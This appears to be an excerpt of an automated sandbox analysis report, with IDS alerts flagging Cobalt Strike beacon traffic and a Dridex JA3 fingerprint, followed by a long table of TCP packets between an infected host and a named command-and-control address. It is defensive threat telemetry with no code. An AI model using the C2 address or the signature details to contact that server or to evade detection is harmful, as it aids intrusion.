2025-01-02T10:35:40.639081+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50023	45.116.78.127	443	TCP
2025-01-02T10:35:40.639081+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50023	45.116.78.127	443	TCP
2025-01-02T10:35:40.639319+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50023	TCP
2025-01-02T10:35:41.839749+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:42.555830+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:42.555830+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:42.556071+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50024	TCP
2025-01-02T10:35:43.792569+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:44.443340+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:44.443340+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:44.443519+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50025	TCP
2025-01-02T10:35:45.480638+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:46.148932+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:46.148932+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:46.149196+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50026	TCP
2025-01-02T10:35:47.399653+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:48.093172+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:48.093172+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:48.093491+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50027	TCP
2025-01-02T10:35:49.391791+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:50.042937+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:50.042937+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:50.047585+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50028	TCP
2025-01-02T10:35:51.318409+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:51.989380+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:51.989380+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:51.990056+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50029	TCP
2025-01-02T10:35:53.183655+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:53.848224+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:53.848224+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:53.851213+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50030	TCP
2025-01-02T10:35:55.109773+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:55.773488+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:55.773488+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:55.773742+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50031	TCP
2025-01-02T10:35:57.023569+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:57.685330+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:57.685330+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:57.685613+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50032	TCP
2025-01-02T10:35:58.954272+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:35:59.670152+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:35:59.670152+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:35:59.670445+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50033	TCP
2025-01-02T10:36:00.904156+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50034	45.116.78.127	443	TCP
2025-01-02T10:36:01.621895+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50034	45.116.78.127	443	TCP
2025-01-02T10:36:01.621895+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50034	45.116.78.127	443	TCP
2025-01-02T10:36:01.622123+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50034	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 10:33:59.235516071 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:33:59.235572100 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:33:59.235662937 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:33:59.243611097 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:33:59.243626118 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:00.428268909 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:00.428364992 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:00.492456913 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:00.492491961 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:00.492841005 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:00.492891073 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:00.494878054 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:00.539341927 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:01.092730045 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:01.092802048 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:01.092804909 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:01.092834949 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:01.092852116 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:01.092856884 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:01.092884064 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:01.092912912 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:01.107945919 CET	49704	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:01.107979059 CET	443	49704	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:08.602133036 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:08.602168083 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:08.602237940 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:08.602601051 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:08.602618933 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:09.748230934 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:09.748404026 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:09.748944044 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:09.748960972 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:09.754791975 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:09.754797935 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.434056044 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.434135914 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.435863972 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.435926914 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.435926914 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.435977936 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.440460920 CET	49705	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.440479040 CET	443	49705	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.445729017 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.445770979 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:10.445861101 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.446043015 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:10.446060896 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:11.637327909 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:11.637388945 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:11.638020039 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:11.638027906 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:11.639501095 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:11.639506102 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.343981028 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.344052076 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.344065905 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.344095945 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.344110966 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.344110966 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.344150066 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.357047081 CET	49706	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.357078075 CET	443	49706	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.383100986 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.383147955 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:12.383229971 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.383402109 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:12.383419037 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:13.557740927 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:13.557833910 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:13.592109919 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:13.592125893 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:13.600467920 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:13.600480080 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.238678932 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.238756895 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.238893986 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.238956928 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.238962889 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.239007950 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.253465891 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.253484011 CET	443	49707	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.253495932 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.253530025 CET	49707	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.352077961 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.352118015 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:14.352190971 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.352497101 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:14.352511883 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:15.540216923 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:15.540283918 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:15.540549040 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:15.540555954 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:15.541678905 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:15.541683912 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.239494085 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.239615917 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.239675045 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.239753962 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.240106106 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.396157026 CET	49708	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.396183968 CET	443	49708	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.477674961 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.477700949 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:16.477777958 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.478321075 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:16.478342056 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:17.647439957 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:17.647622108 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:17.648190022 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:17.648196936 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:17.655725002 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:17.655731916 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.316339970 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.316564083 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.324686050 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.324754953 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.324789047 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.324826956 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.334533930 CET	49714	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.334549904 CET	443	49714	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.383085012 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.383106947 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:18.383212090 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.383367062 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:18.383382082 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:19.572352886 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:19.572535038 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:19.573148012 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:19.573156118 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:19.578100920 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:19.578110933 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.255155087 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.255242109 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.255935907 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.256002903 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.256006002 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.256045103 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.262851954 CET	49717	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.262871027 CET	443	49717	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.351814032 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.351841927 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:20.351905107 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.352080107 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:20.352092981 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:21.519356012 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:21.519447088 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:21.519690037 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:21.519697905 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:21.520721912 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:21.520726919 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.192797899 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.192945957 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.192977905 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.192995071 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.193006992 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.193011999 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.193054914 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.201895952 CET	49728	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.201913118 CET	443	49728	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.226855040 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.226910114 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:22.226999998 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.227247953 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:22.227262974 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:23.397598982 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:23.397686958 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:23.398097038 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:23.398104906 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:23.399141073 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:23.399144888 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.107189894 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.107273102 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.112246037 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.112308979 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.112337112 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.112375975 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.128669977 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.128709078 CET	443	49739	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.128735065 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.129369974 CET	49739	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.180455923 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.180494070 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:24.180586100 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.180850029 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:24.180864096 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:25.327652931 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:25.327733040 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:25.328624964 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:25.328629017 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:25.329715967 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:25.329720974 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.034015894 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.034071922 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.034137011 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.034171104 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.034171104 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.034198046 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.042695999 CET	49755	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.042712927 CET	443	49755	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.070580959 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.070599079 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:26.070709944 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.070878983 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:26.070893049 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.236138105 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.236320019 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.236651897 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.236661911 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.237838984 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.237844944 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.937638998 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.937706947 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.938179970 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.938235998 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.938242912 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.938286066 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.963598967 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.963612080 CET	443	49766	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:27.963622093 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:27.966083050 CET	49766	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:28.008500099 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:28.008541107 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:28.008624077 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:28.008856058 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:28.008868933 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.151658058 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.151741028 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.152142048 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.152149916 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.153028011 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.153032064 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.816606045 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.816677094 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.816682100 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.816705942 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.816730022 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.816735029 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.816787004 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.847011089 CET	49782	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.847028971 CET	443	49782	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.899468899 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.899506092 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:29.899842024 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.900130033 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:29.900147915 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:31.044423103 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:31.044480085 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:31.044812918 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:31.044821024 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:31.045842886 CET	49794	443	192.168.2.5	45.116.78.127
Jan 2, 2025 10:34:31.045846939 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:31.707014084 CET	443	49794	45.116.78.127	192.168.2.5
Jan 2, 2025 10:34:31.707122087 CET	49794	443	192.168.2.5	45.116.78.127
